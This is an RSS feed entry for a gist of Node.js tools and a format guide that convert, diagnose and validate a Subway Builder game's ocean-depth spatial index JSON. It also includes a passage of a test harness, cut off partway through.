<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" 
  xmlns:atom="http://www.w3.org/2005/Atom" 
  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:dcterms="http://purl.org/dc/terms/"
  xmlns:media="http://search.yahoo.com/mrss/"
  xmlns:code="http://ejfox.com/ns/code/">
<channel>
  <title>EJ Fox - Code Snippets &amp; Gists</title>
  <description>A collection of useful code snippets, experiments, and tools.</description>
  <link>https://ejfox.com/gists</link>
  <atom:link
    href="https://ejfox.com/gists-rss.xml"
    rel="self"
    type="application/rss+xml"
  />
  <lastBuildDate>Tue, 30 Jun 2026 02:00:42 GMT</lastBuildDate>
  <ttl>60</ttl>
  <generator>EJ Fox Gists RSS Generator</generator>
  <item>
      <title><![CDATA[Subway Builder — Ocean Depth Index schema delta (old OceanDepthIndex -> new OptimizedOceanDepthIndex)]]></title>
      <link>https://gist.github.com/55979852a4a5d2f782e8f4be564140a3</link>
      <guid isPermaLink="true">https://gist.github.com/55979852a4a5d2f782e8f4be564140a3</guid>
      <pubDate>Fri, 26 Jun 2026 18:24:43 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2026-06-30T02:00:42.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>convert-ocean-depth-index.mjs</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>6376</code:size>
      </code:file>
      <code:file>
        <code:filename>diagnose-ocean-depth.mjs</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>30322</code:size>
      </code:file>
      <code:file>
        <code:filename>ocean-depth-index-schema-delta.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>5219</code:size>
      </code:file>
      <code:file>
        <code:filename>test-ocean-depth-doctor.mjs</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>11410</code:size>
      </code:file>
      <code:file>
        <code:filename>validate-ocean-depth-index.mjs</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>18819</code:size>
      </code:file>
      <description><![CDATA[Subway Builder — Ocean Depth Index schema delta (old OceanDepthIndex -> new OptimizedOceanDepthIndex)]]></description>
      <content:encoded><![CDATA[<h3>convert-ocean-depth-index.mjs</h3><pre><code class="language-javascript">#!/usr/bin/env node
//
// ============================================================================
//  HOW TO GET THIS FILE AND RUN IT  —  you do NOT need the game&apos;s source code.
// ----------------------------------------------------------------------------
//  Requirement: Node.js 16+   (check with:  node --version)
//
//  1. Download this one file into your current folder:
//
//       curl -O https://gist.githubusercontent.com/ejfox/55979852a4a5d2f782e8f4be564140a3/raw/convert-ocean-depth-index.mjs
//
//     ...or grab all the ocean-depth tools at once:
//
//       for f in diagnose-ocean-depth validate-ocean-depth-index convert-ocean-depth-index; do curl -O https://gist.githubusercontent.com/ejfox/55979852a4a5d2f782e8f4be564140a3/raw/$f.mjs; done
//
//  2. Run it:
//
//       node convert-ocean-depth-index.mjs old.json fixed.json
//
//  That&apos;s it — no npm, no install, no dependencies. Single self-contained file.
//  Output ends in PASS/FAIL and a clear NEXT STEP. Exit codes: 0 ok, 1 problem, 2 couldn&apos;t run.
// ============================================================================
// Ocean depth index converter — legacy shape -&gt; optimized shape
// ---------------------------------------------------------------------------
// Usage:  node convert-ocean-depth-index.mjs &lt;in.json[.gz]&gt; [out.json]
//
// The in-game collision detector needs the OPTIMIZED index shape
// (cs/bbox/grid/cells-as-array/stats). If you have an older file with
// cellSize/minLon../cols/rows and an object `cells` keyed by &quot;col,row&quot;, this
// rewrites it into the shape the game can actually consume. It does NOT touch
// your polygon geometry — only the container/key layout — so the map layer
// keeps working too.
//
// After converting, run validate-ocean-depth-index.mjs on the OUTPUT to confirm.
// Zero dependencies. Node 16+.
// ---------------------------------------------------------------------------

import { readFileSync, writeFileSync } from &apos;node:fs&apos;;
import { gunzipSync, gzipSync } from &apos;node:zlib&apos;;

const inPath = process.argv[2];
const outPath = process.argv[3] || (inPath ? inPath.replace(/\.gz$/, &apos;&apos;).replace(/\.json$/, &apos;&apos;) + &apos;.optimized.json&apos; : null);

if (!inPath) {
    console.error(`Usage: node ${process.argv[1].split(&apos;/&apos;).pop()} &lt;in.json[.gz]&gt; [out.json]`);
    process.exit(1);
}

function die(msg) {
    console.error(`\x1b[31mERROR\x1b[0m ${msg}`);
    process.exit(2);
}

let raw;
try {
    raw = readFileSync(inPath);
} catch (e) {
    die(`cannot read ${inPath}: ${e.message}`);
}

let text;
const isGzip = raw.length &gt; 2 &amp;&amp; raw[0] === 0x1f &amp;&amp; raw[1] === 0x8b;
text = inPath.endsWith(&apos;.gz&apos;) || isGzip ? gunzipSync(raw).toString(&apos;utf-8&apos;) : raw.toString(&apos;utf-8&apos;);

let data;
try {
    data = JSON.parse(text);
} catch (e) {
    die(`invalid JSON: ${e.message}`);
}

// Already optimized? Bail kindly.
if (Array.isArray(data.cells) &amp;&amp; (&apos;cs&apos; in data || &apos;bbox&apos; in data)) {
    console.log(&apos;Input already looks OPTIMIZED — nothing to convert. Run the validator to confirm it is correct.&apos;);
    process.exit(0);
}

// Expect legacy shape.
if (!data.cells || typeof data.cells !== &apos;object&apos; || Array.isArray(data.cells)) {
    die(&apos;input `cells` is not the legacy object form (&quot;col,row&quot;: [ids]). This converter only handles legacy -&gt; optimized.&apos;);
}
if (!Array.isArray(data.depths)) {
    die(&apos;input `depths` is not an array.&apos;);
}

const num = (v, name) =&gt; {
    if (typeof v !== &apos;number&apos; || !isFinite(v)) die(`expected numeric ${name}, got ${JSON.stringify(v)}`);
    return v;
};

// --- top-level fields -------------------------------------------------------
const cs = num(data.cellSize ?? data.cs, &apos;cellSize&apos;);
const minLon = num(data.minLon, &apos;minLon&apos;);
const minLat = num(data.minLat, &apos;minLat&apos;);
const maxLon = num(data.maxLon, &apos;maxLon&apos;);
const maxLat = num(data.maxLat, &apos;maxLat&apos;);
const cols = num(data.cols, &apos;cols&apos;);
const rows = num(data.rows, &apos;rows&apos;);

// --- depths: {id,bounds,depth_min,polygon} -&gt; {b,d,p}, indexed by array pos --
// Preserve original `id` so we can remap cell references to array indices.
const idToIndex = new Map();
const depths = data.depths.map((d, idx) =&gt; {
    if (d &amp;&amp; typeof d.id === &apos;number&apos;) idToIndex.set(d.id, idx);
    const b = Array.isArray(d.b)
        ? d.b
        : d.bounds
          ? [d.bounds.minX, d.bounds.minY, d.bounds.maxX, d.bounds.maxY]
          : null;
    if (!b) die(`depths[${idx}] missing bounds`);
    const depth = d.d ?? d.depth_min;
    if (typeof depth !== &apos;number&apos;) die(`depths[${idx}] missing numeric depth_min`);
    const poly = d.p ?? d.polygon;
    if (!Array.isArray(poly)) die(`depths[${idx}] missing polygon`);
    return { b, d: depth, p: poly };
});

// If every depth had a stored id, remap cell ids through idToIndex; otherwise
// assume cell ids are already array indices.
const haveAllIds = idToIndex.size === depths.length;

// --- cells: {&quot;c,r&quot;: [ids]} -&gt; [[c, r, ...ids]] ------------------------------
const cells = [];
for (const [key, ids] of Object.entries(data.cells)) {
    const [col, row] = key.split(&apos;,&apos;).map(Number);
    if (!Number.isInteger(col) || !Number.isInteger(row)) die(`cell key &quot;${key}&quot; is not &quot;col,row&quot;`);
    if (!Array.isArray(ids)) die(`cell &quot;${key}&quot; value is not an array of ids`);
    const remapped = ids.map((id) =&gt; (haveAllIds ? idToIndex.get(id) ?? id : id));
    cells.push([col, row, ...remapped]);
}

// --- stats ------------------------------------------------------------------
const depthVals = depths.map((d) =&gt; d.d).filter((n) =&gt; typeof n === &apos;number&apos; &amp;&amp; isFinite(n));
const stats = {
    count: depths.length,
    minDepth: depthVals.length ? Math.min(...depthVals) : 0, // deepest (most negative)
    maxDepth: depthVals.length ? Math.max(...depthVals) : 0, // shallowest
};

const optimized = {
    cs,
    bbox: [minLon, minLat, maxLon, maxLat],
    grid: [cols, rows],
    cells,
    depths,
    stats,
};

const json = JSON.stringify(optimized);
writeFileSync(outPath, json);
writeFileSync(outPath + &apos;.gz&apos;, gzipSync(json));

console.log(`\x1b[32mConverted\x1b[0m legacy -&gt; optimized`);
console.log(`  in:   ${inPath}`);
console.log(`  out:  ${outPath}`);
console.log(`  out:  ${outPath}.gz`);
console.log(`  depths: ${depths.length}, cells: ${cells.length}, id-remap: ${haveAllIds ? &apos;yes&apos; : &apos;ids assumed to be indices&apos;}`);
console.log(`\nNext: node validate-ocean-depth-index.mjs ${outPath}`);
</code></pre>
<h3>diagnose-ocean-depth.mjs</h3><pre><code class="language-javascript">#!/usr/bin/env node
//
// ============================================================================
//  HOW TO GET THIS FILE AND RUN IT  —  you do NOT need the game&apos;s source code.
// ----------------------------------------------------------------------------
//  Requirement: Node.js 16+   (check with:  node --version)
//
//  1. Download this one file into your current folder:
//
//       curl -O https://gist.githubusercontent.com/ejfox/55979852a4a5d2f782e8f4be564140a3/raw/diagnose-ocean-depth.mjs
//
//     ...or grab all the ocean-depth tools at once:
//
//       for f in diagnose-ocean-depth validate-ocean-depth-index convert-ocean-depth-index; do curl -O https://gist.githubusercontent.com/ejfox/55979852a4a5d2f782e8f4be564140a3/raw/$f.mjs; done
//
//  2. Run it:
//
//       node diagnose-ocean-depth.mjs data/&lt;yourCity&gt;/   # point at your city data folder
//
//  That&apos;s it — no npm, no install, no dependencies. Single self-contained file.
//  Output ends in PASS/FAIL and a clear NEXT STEP. Exit codes: 0 ok, 1 problem, 2 couldn&apos;t run.
// ============================================================================
/* eslint-disable no-console */
// ===========================================================================
//  OCEAN DEPTH DOCTOR
//  Figures out WHY an ocean depth index renders on the map but does nothing
//  in-game — and tells you in plain language which of four things is wrong.
// ===========================================================================
//
//  THE ONE THING TO UNDERSTAND
//  ---------------------------
//  The water you SEE on the map and the water the GAME blocks you from building
//  on come from TWO DIFFERENT FILES, built by TWO DIFFERENT data-gen steps:
//
//     ocean_foundations.geojson / .pmtiles   -&gt;  the blue water you SEE
//     ocean_depth_index.json                 -&gt;  what the game COLLIDES against
//
//  Your polygons looking right on the map only proves the FIRST file is good.
//  This script checks the SECOND file — the one that actually matters in-game.
//
//  USAGE
//  -----
//     node diagnose-ocean-depth.mjs &lt;path&gt;
//
//     &lt;path&gt; = your city&apos;s data folder        (BEST — checks everything)
//              e.g.  node diagnose-ocean-depth.mjs data/BAL/
//
//     &lt;path&gt; = a single ocean_depth_index.json[.gz]   (structural checks only)
//
//     node diagnose-ocean-depth.mjs --help
//
//  WHAT IT DIAGNOSES
//  -----------------
//     #1  INDEX NEVER GENERATED / STALE  — you built the map tiles but not the
//                                          spatial index (or it&apos;s out of date)
//     #2  WRONG SHAPE                     — the index exists but the game can&apos;t
//                                          use it (legacy format, positive depths,
//                                          bad ids, swapped coords, ...)
//     #3  OVERRIDE TIMING                — (runtime mods) setCityDataFiles() called
//                                          too late, so the game ignored your file
//     #4  COVERAGE / PATH MISMATCH       — the index covers a different area than
//                                          the map layer (wrong city, swapped lon/lat)
//
//  EXIT CODES:  0 = healthy/PASS   1 = a blocking problem was found   2 = couldn&apos;t run
//  Zero dependencies. Node 16+.
// ===========================================================================

import { readFileSync, statSync, readdirSync } from &apos;node:fs&apos;;
import { join, basename } from &apos;node:path&apos;;
import { gunzipSync } from &apos;node:zlib&apos;;

const tty = process.stdout.isTTY;
const c = (code, s) =&gt; (tty ? `\x1b[${code}m${s}\x1b[0m` : s);
const red = (s) =&gt; c(&apos;31&apos;, s);
const grn = (s) =&gt; c(&apos;32&apos;, s);
const yel = (s) =&gt; c(&apos;33&apos;, s);
const cyn = (s) =&gt; c(&apos;36&apos;, s);
const dim = (s) =&gt; c(&apos;2&apos;, s);
const bold = (s) =&gt; c(&apos;1&apos;, s);

const SCENARIO = {
    1: &apos;INDEX NEVER GENERATED / STALE&apos;,
    2: &apos;WRONG SHAPE&apos;,
    3: &apos;OVERRIDE TIMING&apos;,
    4: &apos;COVERAGE / PATH MISMATCH&apos;,
};

// ---------------------------------------------------------------------------
//  arg handling
// ---------------------------------------------------------------------------

const arg = process.argv[2];

if (!arg || arg === &apos;--help&apos; || arg === &apos;-h&apos;) {
    printHelp();
    process.exit(arg ? 0 : 1);
}

const findings = []; // { scenario, severity: &apos;fatal&apos;|&apos;warn&apos;|&apos;info&apos;, msg, fix }
const checks = []; // human-readable list of what we actually checked
const add = (scenario, severity, msg, fix) =&gt; findings.push({ scenario, severity, msg, fix });
const checked = (s) =&gt; checks.push(s);

main();

// ===========================================================================

function main() {
    let stat;
    try {
        stat = statSync(arg);
    } catch {
        console.error(red(bold(&apos;Could not find that path.&apos;)));
        console.error(`  ${dim(&apos;you gave:&apos;)} ${arg}`);
        console.error(`  Point me at your city&apos;s data folder (e.g. ${cyn(&apos;data/BAL/&apos;)}) or an ${cyn(&apos;ocean_depth_index.json&apos;)} file.`);
        console.error(`  Run ${cyn(&apos;node &apos; + basename(process.argv[1]) + &apos; --help&apos;)} for details.`);
        process.exit(2);
    }

    let indexPath = null;
    let foundationsPath = null;
    let cityLabel = null;

    if (stat.isDirectory()) {
        cityLabel = basename(arg.replace(/\/+$/, &apos;&apos;)) || arg;
        const hits = scanDir(arg);

        if (hits.indexes.length &gt; 1) {
            // Pointed at a parent that holds several cities — ambiguous.
            console.error(red(bold(&apos;That folder contains more than one ocean_depth_index.json.&apos;)));
            console.error(&apos;  Looks like a parent folder of several cities. Point me at ONE city:&apos;);
            for (const p of hits.indexes.slice(0, 8)) console.error(`    ${cyn(&apos;node &apos; + basename(process.argv[1]) + &apos; &apos; + dirOf(p))}`);
            process.exit(2);
        }
        indexPath = hits.indexes[0] || null;
        foundationsPath = hits.foundations[0] || null;
    } else {
        indexPath = arg;
        cityLabel = basename(arg);
    }

    printHeader(cityLabel, indexPath, foundationsPath);

    // -------------------------------------------------------------------
    //  #1  PRESENCE — is there even an index?
    // -------------------------------------------------------------------
    checked(&apos;Index file exists&apos;);
    if (!indexPath) {
        if (foundationsPath) {
            add(
                1,
                &apos;fatal&apos;,
                &apos;You have the MAP layer (ocean_foundations) but NO ocean_depth_index.json in this folder.\n&apos; +
                    &apos;       These are two SEPARATE data-gen steps. You ran the one that draws the blue water,\n&apos; +
                    &apos;       but not the one the game collides against — so water shows, but building over it is never blocked.\n&apos; +
                    &apos;       This is the single most common cause of exactly the symptom you described.&apos;,
                &apos;Run the &quot;Generate Ocean Depth Spatial Index&quot; data-gen step for this city, then re-test.&apos;
            );
        } else {
            add(
                1,
                &apos;fatal&apos;,
                &apos;No ocean_depth_index.json AND no ocean_foundations here.\n&apos; +
                    &apos;       Either this is the wrong folder, or no ocean data has been generated for this city yet.&apos;,
                &apos;Point me at the city data folder, or run the ocean data-gen steps. The game loads /data/&lt;cityCode&gt;/ocean_depth_index.json.&apos;
            );
        }
        return finish();
    }

    // -------------------------------------------------------------------
    //  load + parse (lots of friendly failure modes)
    // -------------------------------------------------------------------
    const parsed = loadIndex(indexPath);
    if (parsed.error) {
        add(2, &apos;fatal&apos;, parsed.error, parsed.fix);
        return finish();
    }
    const data = parsed.data;
    checked(&apos;Index is readable + valid JSON&apos;);

    if (data == null || typeof data !== &apos;object&apos; || Array.isArray(data)) {
        add(2, &apos;fatal&apos;, `The index&apos;s top level is ${Array.isArray(data) ? &apos;an array&apos; : typeof data}, but it must be a JSON object {...}.`, &apos;Re-generate the index with the official data-gen step.&apos;);
        return finish();
    }

    // -------------------------------------------------------------------
    //  #1b  STALENESS
    // -------------------------------------------------------------------
    if (foundationsPath) {
        try {
            const idxM = statSync(indexPath).mtimeMs;
            const fndM = statSync(foundationsPath).mtimeMs;
            const skewH = (fndM - idxM) / 3.6e6;
            checked(&apos;Index is at least as new as the map layer&apos;);
            if (skewH &gt; 1) {
                add(
                    1,
                    &apos;warn&apos;,
                    `Your map layer is ${skewH.toFixed(1)}h NEWER than your index — the index is probably STALE.\n` +
                        &apos;       You regenerated the polygons/tiles but not the spatial index, so the game collides against an old version.&apos;,
                    &apos;Re-run &quot;Generate Ocean Depth Spatial Index&quot; whenever you change the depth polygons.&apos;
                );
            }
        } catch {
            /* ignore */
        }
    }

    // -------------------------------------------------------------------
    //  #2  SHAPE
    // -------------------------------------------------------------------
    const norm = normalize(data);
    runShapeChecks(data, norm);

    // -------------------------------------------------------------------
    //  #4  COVERAGE vs the map layer
    // -------------------------------------------------------------------
    if (foundationsPath &amp;&amp; norm.bbox) {
        runCoverageCheck(norm.bbox, foundationsPath);
    } else if (!foundationsPath &amp;&amp; stat.isDirectory()) {
        add(4, &apos;info&apos;, &apos;No ocean_foundations.geojson next to the index, so I could not cross-check coverage. (A .pmtiles-only export can\&apos;t be read here.)&apos;);
    } else if (!stat.isDirectory()) {
        add(4, &apos;info&apos;, &apos;You gave me just the index file, so I could not compare it against the map layer. Point me at the whole city folder for the coverage check.&apos;);
    }

    // -------------------------------------------------------------------
    //  #3  RUNTIME OVERRIDE (can&apos;t see statically — always explain)
    // -------------------------------------------------------------------
    add(
        3,
        &apos;info&apos;,
        &apos;If you load this file at runtime with api.cities.setCityDataFiles(): the game reads that override\n&apos; +
            &apos;       WHEN THE CITY LOADS, which is BEFORE the onCityLoad hook fires. Setting it inside onCityLoad\n&apos; +
            &apos;       (or any later hook) is too late and your file is silently ignored.&apos;,
        &apos;Call setCityDataFiles() at your mod\&apos;s top level or in onGameInit — not in onCityLoad. To confirm it took effect, check the devtools console for the path the loader logged.&apos;
    );

    finish();
}

// ===========================================================================
//  checks
// ===========================================================================

function runShapeChecks(data, norm) {
    const { cs, bbox, grid, depths, cells, isLegacy } = norm;

    checked(&apos;Container shape (optimized vs legacy)&apos;);
    if (isLegacy) {
        add(
            2,
            &apos;fatal&apos;,
            &apos;This is the LEGACY shape (object-keyed `cells`, cellSize/minLon...). The game only reads the OPTIMIZED\n&apos; +
                &apos;       shape and rejects this one. The official generator emits OPTIMIZED, so a legacy file means it was\n&apos; +
                &apos;       hand-made or made by an old tool.&apos;,
            &apos;Convert it: node convert-ocean-depth-index.mjs &lt;this-file&gt; fixed.json   (or regenerate with the official step)&apos;
        );
    }

    checked(&apos;cellSize / cs is a positive number&apos;);
    if (typeof cs !== &apos;number&apos; || !isFinite(cs) || cs &lt;= 0) {
        add(2, &apos;fatal&apos;, `cellSize (\`cs\`) is ${human(cs)} — it must be a positive number. The grid math divides by it, so 0/missing means every lookup is NaN and nothing is ever found.`, &apos;Regenerate the index, or set `cs` to the grid cell size in degrees of latitude.&apos;);
    }

    checked(&apos;bbox is [minLon, minLat, maxLon, maxLat], lon-first&apos;);
    if (!Array.isArray(bbox) || bbox.length !== 4 || bbox.some((n) =&gt; typeof n !== &apos;number&apos; || !isFinite(n))) {
        add(2, &apos;fatal&apos;, `bbox is ${human(bbox)} — it must be four numbers [minLon, minLat, maxLon, maxLat] (LONGITUDE FIRST).`, &apos;Emit bbox lon-first.&apos;);
    } else {
        const [mnLon, mnLat, mxLon, mxLat] = bbox;
        if (mnLon &gt;= mxLon || mnLat &gt;= mxLat) {
            add(2, &apos;fatal&apos;, `bbox is empty or out of order: [${bbox.join(&apos;, &apos;)}]. It is LON-FIRST: [minLon, minLat, maxLon, maxLat], and min must be &lt; max.`, &apos;Fix the bbox ordering.&apos;);
        }
        if (Math.abs(mnLat) &gt; 90 || Math.abs(mxLat) &gt; 90) {
            add(4, &apos;fatal&apos;, `bbox &quot;latitude&quot; values (${mnLat}, ${mxLat}) are outside -90..90. Your coordinates are almost certainly lon/lat SWAPPED.`, &apos;Use [lon, lat] order everywhere. bbox is [minLon, minLat, maxLon, maxLat].&apos;);
        }
        if (Math.abs(mnLon) &gt; 180 || Math.abs(mxLon) &gt; 180) {
            add(2, &apos;warn&apos;, `bbox &quot;longitude&quot; values (${mnLon}, ${mxLon}) are outside -180..180. These don&apos;t look like WGS84 lon/lat.`, &apos;Confirm coordinates are degrees, not meters/projected.&apos;);
        }
    }

    checked(&apos;grid is [cols, rows] of positive integers&apos;);
    if (!Array.isArray(grid) || grid.length !== 2 || !grid.every((n) =&gt; Number.isInteger(n) &amp;&amp; n &gt; 0)) {
        add(2, &apos;fatal&apos;, `grid is ${human(grid)} — it must be [cols, rows], two positive integers.`, &apos;Regenerate the index.&apos;);
    }

    checked(&apos;depths array present and non-empty&apos;);
    if (!Array.isArray(depths)) {
        add(2, &apos;fatal&apos;, &apos;`depths` is missing or not an array. The detector maps over it on load, so this is fatal.&apos;, &apos;Regenerate the index.&apos;);
    } else if (depths.length === 0) {
        add(2, &apos;fatal&apos;, &apos;`depths` is empty — there are zero water polygons to collide with, so nothing will ever block a track.&apos;, &apos;Confirm the source bathymetry produced features for this city.&apos;);
    } else {
        const sample = depths.slice(0, 3000);
        let pos = 0, badDepth = 0, badBounds = 0, badPoly = 0, strCoord = 0;
        for (const d of sample) {
            if (!d || typeof d !== &apos;object&apos;) { badBounds++; badDepth++; badPoly++; continue; }
            const dv = d.d ?? d.depth_min;
            if (typeof dv !== &apos;number&apos; || !isFinite(dv)) badDepth++;
            else if (dv &gt; 0) pos++;
            const b = d.b ?? (d.bounds ? [d.bounds.minX, d.bounds.minY, d.bounds.maxX, d.bounds.maxY] : null);
            if (!Array.isArray(b) || b.length !== 4 || b.some((n) =&gt; typeof n !== &apos;number&apos;)) badBounds++;
            const p = d.p ?? d.polygon;
            if (!Array.isArray(p) || p.length === 0) badPoly++;
            else if (typeof firstNumber(p) === &apos;string&apos;) strCoord++;
        }
        checked(&apos;depth values, bounds, and polygons are well-formed&apos;);
        if (badDepth) add(2, &apos;fatal&apos;, `${badDepth}/${sample.length} sampled depths have a missing or non-numeric depth value.`, &apos;Every feature needs a numeric depth (negative meters).&apos;);
        if (badBounds) add(2, &apos;fatal&apos;, `${badBounds}/${sample.length} sampled depths have a bad/missing bounds array. The detector uses bounds for a fast reject, so a bad one makes that polygon invisible to collision.`, &apos;Every feature needs b:[minX,minY,maxX,maxY] in lon/lat.&apos;);
        if (badPoly) add(2, &apos;fatal&apos;, `${badPoly}/${sample.length} sampled depths have empty/missing polygon coordinates.`, &apos;Every feature needs polygon (Polygon or MultiPolygon) coordinates.&apos;);
        if (strCoord) add(2, &apos;fatal&apos;, `${strCoord}/${sample.length} sampled polygons store coordinates as STRINGS (&quot;−76.6&quot;) instead of numbers (-76.6). Geometry math will silently misbehave.`, &apos;Emit coordinates as JSON numbers, not strings.&apos;);
        checked(&apos;depth sign convention (negative = underwater)&apos;);
        if (pos === sample.length)</code></pre><p><em>Truncated — <a href="https://gist.github.com/55979852a4a5d2f782e8f4be564140a3">view the full gist</a>.</em></p>
<h3>ocean-depth-index-schema-delta.md</h3><pre><code class="language-markdown"># Ocean Depth Index — Format Guide (and why it works on the map but not in-game)

**File:** `/data/&lt;cityCode&gt;/ocean_depth_index.json` (+ `.json.gz`)
**Types:** `shared-data/oceanDepthIndexTypes.ts` (`OptimizedOceanDepthIndex`)
**Still `ocean_depth_index.json(.gz)` — NOT `.bin`.** (Don&apos;t confuse it with the **buildings** index, which is a packed binary `buildings_index.bin`, magic `&quot;SBBI&quot;`. Ocean depth is plain JSON.)

&gt; ## ⚠️ Read this first — the trap that wastes your afternoon
&gt;
&gt; **The pmtiles `ocean_foundations` map layer and the in-game `ocean_depth_index.json` are different files from different code paths.** Your polygons rendering correctly in `ocean_foundations` proves your *geometry* is valid. It says **nothing** about whether the index file the game reads is in the right *shape*.
&gt;
&gt; **The game only consumes the OPTIMIZED shape.** `createOceanDepthCollisionDetector` reads the optimized container layout. Feed it the older/legacy shape (object-keyed `cells`) and historically it would throw, get swallowed, and the city would load with **zero ocean collision and no error message**. If your index &quot;loads fine but does nothing in-game,&quot; it is almost always a *format* problem, not a *geometry* problem.
&gt;
&gt; **Diagnose it in one command** — point this at your city&apos;s data folder and it tells you *which* of the failure modes you&apos;re in (index never generated, wrong shape, coverage mismatch, or override timing):
&gt; ```
&gt; node scripts/diagnose-ocean-depth.mjs data/&lt;yourCity&gt;/
&gt; ```
&gt; If you only have the index file, `validate-ocean-depth-index.mjs &lt;file&gt;` runs the structural checks alone. If you have an old-shape file, convert it:
&gt; ```
&gt; node scripts/convert-ocean-depth-index.mjs old.json fixed.json
&gt; ```

---

## The shape the game requires (OPTIMIZED)

```ts
type OptimizedOceanDepthData = {
  b: number[];                       // bounds [minX, minY, maxX, maxY]  (lon/lat)
  d: number;                         // depth_min — NEGATIVE meters (e.g. -10 = 10m deep)
  p: number[][][] | number[][][][];  // polygon (Polygon) or MultiPolygon coords
};
type OptimizedOceanDepthIndex = {
  cs: number;                              // cell size (degrees of latitude), &gt; 0
  bbox: [number, number, number, number];  // [minLon, minLat, maxLon, maxLat]  ← LON-FIRST
  grid: [number, number];                  // [cols, rows]
  cells: number[][];                       // [[col, row, ...depthIds], ...]   ← ARRAY of rows
  depths: OptimizedOceanDepthData[];
  stats: { count: number; minDepth: number; maxDepth: number };
};
```

A depth feature is identified by **its index in `depths`** — there is no `id` field. Cell rows reference depths by that index.

---

## If you&apos;re coming from the older shape (legacy → optimized)

The legacy shape used long key names and an object-keyed `cells`. Map it like this (or just run the converter):

```
cellSize            -&gt; cs
{minLon,minLat,maxLon,maxLat}  -&gt; bbox  (LON-FIRST: [minLon, minLat, maxLon, maxLat])
{cols, rows}        -&gt; grid  ([cols, rows])
cells[&quot;c,r&quot;]=[ids]  -&gt; cells.push([c, r, ...ids])      // object -&gt; array of rows
depths[i].id        -&gt; (removed; a feature IS its index i)
depths[i].bounds    -&gt; depths[i].b   (object {minX,minY,maxX,maxY} -&gt; array [minX,minY,maxX,maxY])
depths[i].depth_min -&gt; depths[i].d
depths[i].polygon   -&gt; depths[i].p
depthCount          -&gt; stats.count
minDepth            -&gt; stats.minDepth
(new)               -&gt; stats.maxDepth   // shallowest
nonEmptyCells       -&gt; (removed)
```

---

## The things that silently make an index inert in-game

These all pass &quot;my polygons render on the map&quot; yet produce **no collision** in-game. The validator checks every one:

1. **Wrong container shape.** `cells` as an object `{&quot;col,row&quot;:[ids]}` instead of an array `[[col,row,...ids]]`. The detector only handles the array form. **This is the #1 cause.**
2. **`bbox` not lon-first.** It&apos;s `[minLon, minLat, maxLon, maxLat]`. The grid math reads `bbox[0]` as longitude. Swap it and every cell lookup misses.
3. **Positive depth values.** `d` must be **negative** meters (deeper = more negative). A track is blocked only when `trackElevation &gt; d`; positive `d` means it&apos;s basically never blocked.
4. **Cell depth-ids out of range.** Ids are **indices into `depths`** (0-based), not the old stored `id` values. Out-of-range ids resolve to nothing.
5. **Feature bounds outside `bbox`** / coords as `[lat,lon]` instead of `[lon,lat]`. Those polygons land in cells the detector never scans.
6. **`cs &lt;= 0` or missing `grid`.** Division by cell size produces NaN/Infinity cell indices.

---

## Behavior note (recent fix)

The loader used to report *every* failure — missing file, bad JSON, wrong shape — as the same `&quot;this is normal if not generated yet&quot;` warning, which is why a broken index was indistinguishable from &quot;no ocean data.&quot; Now the detector **rejects a legacy-shaped file with a clear, actionable error** (telling you to run the converter) instead of an opaque crash, and the loader logs that error loudly (pointing you at the validator) instead of swallowing it. If you&apos;re on a build from before that fix, the silent-failure behavior is what you&apos;re hitting — use the validator/doctor.
</code></pre>
<h3>test-ocean-depth-doctor.mjs</h3><pre><code class="language-javascript">#!/usr/bin/env node
//
// ============================================================================
//  HOW TO GET THIS FILE AND RUN IT  —  you do NOT need the game&apos;s source code.
// ----------------------------------------------------------------------------
//  Requirement: Node.js 16+   (check with:  node --version)
//
//  1. Download this one file into your current folder:
//
//       curl -O https://gist.githubusercontent.com/ejfox/55979852a4a5d2f782e8f4be564140a3/raw/test-ocean-depth-doctor.mjs
//
//     ...or grab all the ocean-depth tools at once:
//
//       for f in diagnose-ocean-depth validate-ocean-depth-index convert-ocean-depth-index; do curl -O https://gist.githubusercontent.com/ejfox/55979852a4a5d2f782e8f4be564140a3/raw/$f.mjs; done
//
//  2. Run it:
//
//       node test-ocean-depth-doctor.mjs   # needs diagnose-ocean-depth.mjs in the same folder
//
//  That&apos;s it — no npm, no install, no dependencies. Single self-contained file.
//  Output ends in PASS/FAIL and a clear NEXT STEP. Exit codes: 0 ok, 1 problem, 2 couldn&apos;t run.
// ============================================================================
/* eslint-disable no-console */
// Test harness for diagnose-ocean-depth.mjs (and the validator).
// Builds a battery of temp fixtures, runs the doctor against each, and asserts
// the exit code + that the right scenario tag (or PASS) shows up in the output.
//
//   node test-ocean-depth-doctor.mjs
//
// Exit 0 if every case behaves as expected, 1 otherwise.

import { mkdtempSync, mkdirSync, writeFileSync, rmSync, utimesSync, chmodSync } from &apos;node:fs&apos;;
import { tmpdir } from &apos;node:os&apos;;
import { join, dirname } from &apos;node:path&apos;;
import { fileURLToPath } from &apos;node:url&apos;;
import { execFileSync } from &apos;node:child_process&apos;;
import { gzipSync } from &apos;node:zlib&apos;;

const HERE = dirname(fileURLToPath(import.meta.url));
const DOCTOR = join(HERE, &apos;diagnose-ocean-depth.mjs&apos;);

const root = mkdtempSync(join(tmpdir(), &apos;odd-test-&apos;));
let pass = 0;
let fail = 0;
const failures = [];

// --- building blocks --------------------------------------------------------

const FOUND_BAL = {
    type: &apos;FeatureCollection&apos;,
    features: [
        {
            type: &apos;Feature&apos;,
            geometry: {
                type: &apos;Polygon&apos;,
                coordinates: [
                    [
                        [-76.62, 39.22],
                        [-76.55, 39.22],
                        [-76.55, 39.28],
                        [-76.62, 39.28],
                        [-76.62, 39.22],
                    ],
                ],
            },
        },
    ],
};

const goodIndex = () =&gt; ({
    cs: 0.001,
    bbox: [-76.65, 39.2, -76.5, 39.32],
    grid: [120, 120],
    cells: [
        [10, 10, 0],
        [11, 10, 0, 1],
        [12, 11, 1],
    ],
    depths: [
        { b: [-76.62, 39.22, -76.6, 39.24], d: -12, p: [[[-76.62, 39.22], [-76.6, 39.22], [-76.6, 39.24]]] },
